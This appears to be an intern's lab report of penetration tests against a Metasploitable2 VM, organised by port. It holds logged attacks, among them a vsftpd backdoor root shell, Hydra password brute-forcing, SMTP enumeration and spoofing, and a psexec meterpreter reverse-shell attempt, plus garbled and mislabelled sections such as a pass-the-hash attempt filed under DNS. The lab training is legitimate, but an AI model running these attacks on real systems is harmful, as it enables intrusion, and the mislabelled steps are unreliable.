

**Inter ID :** 2044

**Inter Name :** Riya Kadam

## **Port 21 – FTP (File Transfer Protocol)**

### **Service Overview**

FTP is used to transfer files between client and server. It transmits credentials and data in plain text.

### **Potential Attack Techniques**

- Anonymous FTP access
- Brute-force / weak password attack
- Malicious file upload

### **Commonly Used Tools**

- Nmap
- FTP client (ftp)
- Metasploit Framework

### **Security Impact**

- Credential disclosure
- Unauthorized file access
- Remote system compromise

### **Risk Level**

**Severity:** Critical

### **Known Vulnerability (CVE)**

- CVE-2011-2523 (vsftpd backdoor)

### **CVSS Score**

7.5 – High

### **Mitigation Measures**

- Disable FTP if not required
- Use SFTP / FTPS
- Strong authentication

### **Methods**

#### **1. Vulnerable FTP Service Exploit**

```
(riyaa@kali)-[~]
$ nmap -p 21 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 15:38 IST
Nmap scan report for 192.168.1.3
Host is up (0.00078s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
```

```
Session Actions Edit View Help
      '(,.,.,.,.,./

      =[ metasploit v6.4.99-dev                               ]
+ -- --[ 2,572 exploits - 1,317 auxiliary - 1,680 payloads     ]
+ -- --[ 432 post - 49 encoders - 13 nops - 9 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes
VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.3
RHOST => 192.168.1.3
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.3:21 - USER: 331 Please specify the password.
[+] 192.168.1.3:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.4:41711 -> 192.168.1.3:6200) at 2025-12-31 14:00:21 +0530

whoami
root
```

## 2. FTP Brute Force Attack

```
(riyaa@kali)-[~]
$ nmap -p 21 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 15:57 IST
Nmap scan report for 192.168.1.3
Host is up (0.0011s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

(riyaa@kali)-[~]
$ nmap -p 21 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 15:57 IST
Nmap scan report for 192.168.1.3
Host is up (0.0015s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

(riyaa@kali)-[~]
$ hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.3
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (c) 2013-2023, pentest-tools.org
-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-31 15:59:02
[ERROR] File for passwords not found: /usr/share/wordlists/rockyou.txt

(riyaa@kali)-[~]
$ hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt.gz ftp://192.168.1.3
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (c) 2013-2023, pentest-tools.org
-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-31 16:01:32
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.1.3:21/
[STATUS] 282.00 tries/min, 282 tries in 00:01h, 14344117 to do in 847:46h, 16 active
[STATUS] 287.33 tries/min, 862 tries in 00:03h, 14343537 to do in 831:60h, 16 active
```

### 3. Anonymous FTP Login

```
(riyaa@kali)-[~]
$ ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 2.3.4)
Name (192.168.1.3:riyaa): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||31574|).
150 Here comes the directory listing.
drwxr-xr-x  6 1000    1000      4096 Apr 28  2010 vulnerable
226 Directory send OK.
ftp> pwd
Remote directory: /home/msfadmin
ftp>
```

### 4. FTP Backdoor Exploitation

```
Session  Actions  Edit  View  Help
          '(,...."/

      =[ metasploit v6.4.99-dev ]
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,680 payloads ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes
VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.3
RHOST => 192.168.1.3
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.3:21 - USER: 331 Please specify the password.
[*] 192.168.1.3:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.4:41711 -> 192.168.1.3:6200) at 2025-12-31 14:00:21 +0530

whoami
root
```

### 5. FTP Denial of Service (DoS)

```
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(scanner/ftp/ftp_login) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf auxiliary(scanner/ftp/ftp_login) > run
[*] 192.168.1.3:21 - 192.168.1.3:21 - Starting FTP login sweep
[*] 192.168.1.3:21 - Error: 192.168.1.3: Metasploit::Framework::LoginScanner::Invalid Cred details ca
exploit::Framework::LoginScanner::FTP)
[*] 192.168.1.3:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ftp/ftp_login) >
```

## 6. Weak Password Attack

```
(riyaa@kali)~$ nmap -p 21 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 16:22 IST
Nmap scan report for 192.168.1.3
Host is up (0.0014s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

(riyaa@kali)~$ ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 2.3.4)
Name (192.168.1.3:riyaa): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt.gz ftp://192.168.1.3
?Invalid command.
ftp> exit
221 Goodbye.

(riyaa@kali)~$ hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt.gz ftp://192.168.1.3
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-31 16:25:38
```

## Port 22 – SSH (Secure Shell)

### Service Overview

SSH provides secure remote login and command execution over encrypted channels.

### Potential Attack Techniques

- Brute-force login attack
- Default credentials
- Weak key authentication

### Commonly Used Tools

- Nmap
- Hydra
- Metasploit

### Security Impact

- Unauthorized shell access
- Privilege escalation

### Risk Level

**Severity:** High

### Known Vulnerability (CVE)

- CVE-2008-5161 (OpenSSH vulnerabilities)



## Mitigation Measures

- Disable root login
- Use key-based authentication
- Strong passwords

## Methods

### 1. SSH Brute-Force Attack

```
(riyaa@kali)-[/usr/share/wordlists]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.1.3
The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.
RSA key fingerprint is: SHA256:BQHm5EoHX9GciOLuVscegPXLQ0suPs+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.1.3's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Wed Dec 31 04:58:43 2025
msfadmin@metasploitable:~$ ssh msfadmin@192.168.1.3
The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.
msfadmin@192.168.1.3's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

### 2. SSH Weak Password Attack

```
Session Actions Edit View Help
(riyaa@kali)-[~]
$ nmap -p 22 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 16:42 IST
Nmap scan report for 192.168.1.3
Host is up (0.0013s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds

(riyaa@kali)-[~]
$ nmap -p 22 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 16:43 IST
Nmap scan report for 192.168.1.3
Host is up (0.00096s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

(riyaa@kali)-[~]
$ hydra -l msfadmin -P/usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.3
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations.
-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-31 16:44:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found,
```

## Port 23 – TELNET

## Service Overview

Telnet allows remote login but transmits data in plain text.

## Potential Attack Techniques

- Credential sniffing
- Default login abuse
- Brute-force attack

## Commonly Used Tools

- Telnet
- Nmap
- Metasploit

## Security Impact

- Password exposure
- Full system compromise

## Risk Level

**Severity:** Critical

## Mitigation Measures

- Disable Telnet
- Replace with SSH

## Methods

## 1.telnet Anonymous Login

```

kali@kali:~/share/wordlists$ telnet 192.168.1.3
Trying 192.168.1.3...
Connected to 192.168.1.3.
Escape character is '^['.

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Wed Dec 31 06:28:47 EST 2025 from 192.168.1.3 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$

```

## 2. Telnet Default Credential

```

~(riyaa@kali)-[~]
$ telnet 192.168.1.3
Trying 192.168.1.3 ... words not found: /usr/share/wordlists
Connected to 192.168.1.3.
Escape character is '^]'.
metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Wed Dec 31 06:28:47 EST 2025 from 192.168.1.3 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ exit
Connection closed by foreign host.

```

### 3. Telnet Clear-Text Credential Sniffing

```
(riyaa@kali)-[~]sr/share/wordlists
$ sudo tcpdump -i eth0 port 23 -A wordlists/rockyou.txt & ssh 192.168.1.3
[sudo] password for riyaa: Hauser/THC & David Maciejak - Please do not use in military
Sorry, try again.
[sudo] password for riyaa:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
```

## Port 25 – SMTP (Mail Transfer Protocol)

## Service Overview

SMTP is used to send emails between servers.

## Potential Attack Techniques

- SMTP user enumeration
- Mail spoofing
- Open relay abuse

## Commonly Used Tools

- Nmap
- Netcat
- Metasploit

## Security Impact

- Email spoofing

- Spam relay
- Information disclosure

## Risk Level

Severity: Medium

## Mitigation Measures

- Disable VRFY/EXPN
- Enable authentication
- Use TLS

## Methods

### 1. SMTP User Enumeration

```
(riyaa@kali)-[~]
$ nmap -p 25 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 17:25 IST
Nmap scan report for 192.168.1.3
Host is up (0.0011s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
25/tcp    open  smtp    Postfix smtpd
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: metasploitable.localdomain

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

(riyaa@kali)-[~]
$ telnet 192.168.1.3 25
Trying 192.168.1.3...
Connected to 192.168.1.3.
Escape character is '^]'.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY msfadmin
252 2.0.0 msfadmin      smtp port 25
VRFY fakeuser
550 5.1.1 <fakeuser>: Recipient address rejected: User unknown in local recipient table
telnet> quit
Connection closed.

(riyaa@kali)-[~]
$ nmap --script smtp-enum-users -p 25 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 17:28 IST
Nmap scan report for 192.168.1.3
Host is up (0.0018s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE
25/tcp    open  smtp
| smtp-enum-users:
|_ Method RCPT returned a unhandled status code.
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
```

### 2. SMTP Spoofing

```
(riyaa@kali)-[~]
$ telnet 192.168.1.3 25
Trying 192.168.1.3...
Connected to 192.168.1.3.
Escape character is '^]'.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
Hello attacker.com
502 5.5.2 Error: command not recognized
HELO attacker.com
250 metasploitable.localdomain
MAIL FROM:<admin@trusted.com>
250 2.1.0 Ok
DATA
554 5.5.1 Error: no valid recipients
QUIT
221 2.0.0 Bye
Connection closed by foreign host.
```



# Port 53 – DNS(Domain Name System)

## Service Overview

DNS resolves domain names to IP addresses.

## Potential Attack Techniques

- Zone transfer attack
- DNS cache poisoning

## Commonly Used Tools

- Dig
- Nslookup
- Nmap

## Security Impact

- Information leakage
- Redirection attacks

## Risk Level

Severity: Medium

## Mitigation Measures

- Disable zone transfers
- Apply DNS security patches

## Method

### 1. Pass-the-Hash commands

```
+ -- --[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads ]
+ -- --[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf exploit(windows/smb/psexec) > SMBUser Administrator
[-] Unknown command: SMBUser. Run the help command for more details.
msf exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] 192.168.1.3:445 - Connecting to the server ...
[*] 192.168.1.3:445 - Authenticating to 192.168.1.3:445 as user 'Administrator' ...
[-] 192.168.1.3:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d)
on is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/psexec) >
```

# Port 80 – HTTP

## Service Overview

HTTP serves web content over the internet.

## Potential Attack Techniques

- Directory traversal
- Web application attacks
- File upload abuse

## Commonly Used Tools

- Nmap
- Nikto
- Metasploit

## Security Impact

- Website defacement
- Remote code execution

## Risk Level

**Severity:** High

## Known Vulnerability

- Apache misconfiguration issues

## Mitigation Measures

- Patch web server
- Use HTTPS
- Secure permissions

## Method

- ## 1. HTTP enumeration

```

#####
Individual files in subdirectories may have their own copyright notices.

This comes with ABSOLUTELY NO WARRANTY; to the extent permitted by
Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com   action, please visit:
https://www.metasploit.com/docs/

Login with msfadmin/msfadmin to get started

#####

</pre>
<ul>
<li><a href="/twiki/">Twiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
# sudo -i # cd /usr/share/metasploit-framework
# sudo apt install <deb name>

(riyaa@kali)-[~]
$ dirb http://192.168.1.3 -t 23 -w wordlist.txt --recursive
=====
DIRB v2.22 word for riyaa:
By The Dark Raver output suppressed, use -v[v]... for full protocol decode
- link-type ENIDMB (Ethernet), snapshot length 262144 bytes

START_TIME: Wed Dec 31 18:11:41 2025
URL_BASE: http://192.168.1.3/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

```

```
└─$ gobuster dir -u http://192.168.1.3 -w /usr/share/wordlists/dirb/common.txt
```

Gobuster v3.8

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```
[+] Url: http://192.168.1.3
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

./htpasswd (Status: 403) [Size: 293]
/.hta (Status: 403) [Size: 288]
/.htaccess (Status: 403) [Size: 293]
/cgi-bin/ (Status: 403) [Size: 292]
/dav (Status: 301) [Size: 313] [→ http://192.168.1.3/dav/]
/index (Status: 200) [Size: 891]
/index.php (Status: 200) [Size: 891]
/phpMyAdmin (Status: 301) [Size: 320] [→ http://192.168.1.3/phpMyAdmin/]
/phpinfo.php (Status: 200) [Size: 47975]
/phpinfo (Status: 200) [Size: 47963]
/server-status (Status: 403) [Size: 297]
/test (Status: 301) [Size: 314] [→ http://192.168.1.3/test/]
/twiki (Status: 301) [Size: 315] [→ http://192.168.1.3/twiki/]
Progress: 4613 / 4613 (100.00%)
```

Finished

```
└─(riyaa@kali)-[~]
```

```
└─$ nikto -h http://192.168.1.3
```

- Nikto v2.5.0

```
└─(riyaa@kali)-[~]
```

```
└─$ nmap -p 80 -sV 192.168.1.3
```

Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-12-31 18:08 IST

Nmap scan report for 192.168.1.3

Host is up (0.0014s latency).

```
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache 2.2.8 ((Ubuntu) DAV/2)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds

```
└─(riyaa@kali)-[~]
```

```
└─$ nmap -p 80 --script=http-enum 192.168.1.3
```

Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-12-31 18:09 IST

Nmap scan report for 192.168.1.3

Host is up (0.0018s latency).

```
PORT      STATE SERVICE
80/tcp    open  http
| http-enum:
|   /tikiwiki/: Tikiwiki
|   /test/: Test page
|   /phpinfo.php: Possible information file
|   /phpMyAdmin/: phpMyAdmin
|   /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
|   /icons/: Potentially interesting folder w/ directory listing
|_  /index/: Potentially interesting folder
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

Nmap done: 1 IP address (1 host up) scanned in 5.07 seconds

```
└─(riyaa@kali)-[~]
```

```
└─$ curl -I http://192.168.1.3
```

HTTP/1.1 200 OK

Date: Wed, 31 Dec 2025 12:36:57 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10

Content-Type: text/html

```
└─(riyaa@kali)-[~]
```

```
└─$ curl http://192.168.1.3
```

```
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
```

## Port 3306 - MySQL

### Service Overview

MySQL is a relational database service.

### Potential Attack Techniques

- Weak database credentials
- Unauthorized database access

## Commonly Used Tools

- MySQL client
- Metasploit

## Security Impact

- Data theft
- Database manipulation

## Risk Level

Severity: High

## Mitigation Measures

- Strong passwords
- Restrict remote access

## Method

### 1. Anonymous MySQL Login

```
(riyaa@kali)-[~]
$ mysql -h 192.168.1.3 -u root -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+-----+
7 rows in set (0.003 sec)

MySQL [(none)]> use dvwa;
Database changed
MySQL [dvwa]> show tables;
+-----+
| Tables_in_dvwa |
+-----+
| guestbook |
| users |
+-----+
2 rows in set (0.003 sec)
```

### 2. Default MySQL Credentials

```

(riyaa@kali)-[~]
$ nmap -p 3306 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 18:33 IST
Nmap scan report for 192.168.1.3
Host is up (0.0011s latency).
PORT      STATE SERVICE
3306/tcp  open  mysql
MySQL 5.0.51a-3ubuntu5
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds

(riyaa@kali)-[~]
$ mysql -h 192.168.1.3 -u root -p --ssl-mode=DISABLED
mysql: unknown variable 'ssl-mode=DISABLED'

(riyaa@kali)-[~]
$ mysql -h 192.168.1.3 -u root -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 23
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+-----+
7 rows in set (0.002 sec)

```

## Port 5432 - postgresql :

### Service Overview

PostgreSQL database service.

### Potential Attack Techniques

- Default credentials
- Database enumeration

### Security Impact

- Data compromise

### Risk Level

Severity: Medium

### Mitigation Measures

- Authentication hardening
- Network restrictions

### Method

1. Weak Password Authentication



```

(riyaa@kali)-[~]
$ psql -h 192.168.1.3 -U postgres
Password for user postgres:
psql (18.1 (Debian 18.1-1), server 8.3.1)
WARNING: psql major version 18, server major version 8.3.
Some psql features might not work.
Type "help" for help.

postgres=# exit

(riyaa@kali)-[~]
$ psql -h 192.168.1.3 -U admin
Password for user admin:
psql: error: connection to server at "192.168.1.3", port 5432 failed: SSL error: unsupported protocol
This may indicate that the server does not support any SSL protocol version between TLSv1.2 and TLSv1.3.
connection to server at "192.168.1.3", port 5432 failed: FATAL: password authentication failed for user "admin"

```

## 2. PostgreSQL Version Enumeration

```

(riyaa@kali)-[~]
$ psql -h 192.168.1.3 -U postgres
Password for user postgres:
psql (18.1 (Debian 18.1-1), server 8.3.1)
WARNING: psql major version 18, server major version 8.3.
Some psql features might not work.
Type "help" for help.

postgres=# SELECT version()
postgres=# SELECT version();
ERROR: syntax error at or near "SELECT"
LINE 2: SELECT version();
          ^

postgres=# show server_version;
server_version
-----
8.3.1
(1 row)

postgres=# exit

(riyaa@kali)-[~]
$ nmap -p 5432 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 20:38 IST
Nmap scan report for 192.168.1.3
Host is up (0.0014s latency).

PORT      STATE SERVICE      VERSION
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds

```

## Port 6000 - X11 :

### Service Overview

X11 provides graphical display services.

### Potential Attack Techniques

- Unauthorized screen access

### Security Impact

- Screen capture
- Keylogging

### Risk Level

**Severity:** Medium

### Mitigation Measures

- Disable remote X11
- Access control

## Method

### 1. X11 Unauthorized Access

```
(riyaa@kali)-[~]
$ nmap -p 6000 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 20:55 IST
Nmap scan report for 192.168.1.3
Host is up (0.0019s latency).

PORT      STATE SERVICE
6000/tcp  open  X11
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

(riyaa@kali)-[~]
$ xhost
access control enabled, only authorized clients can connect
SI:localuser:riyaa

(riyaa@kali)-[~]
$ export DISPLAY=192.168.1.3:0
```

## Port 1099 - Java-rmi

### Service Overview

Java RMI allows remote method invocation.

### Potential Attack Techniques

- RMI registry enumeration
- Remote code execution

### Commonly Used Tools

- Nmap
- Metasploit

### Security Impact

- Remote system compromise

### Risk Level

**Severity:** High

### Mitigation Measures

- Disable unused RMI
- Apply Java security updates

## Method

### 1. Java RMI Registry Enumeration



## Port 1524 - Bindshell:

## Service Overview

## Backdoor shell providing root access.

## Potential Attack Techniques

- Direct root shell access

## Commonly Used Tools

- Netcat
- Telnet

## Security Impact

- Complete system takeover

## Risk Level

### Severity: Critical

## Mitigation Measures

- Remove backdoors
- Reinstall system

## Method

## 1. Metasploit Bind TCP Payload

```
+ -- ==[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads ]
+ -- ==[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

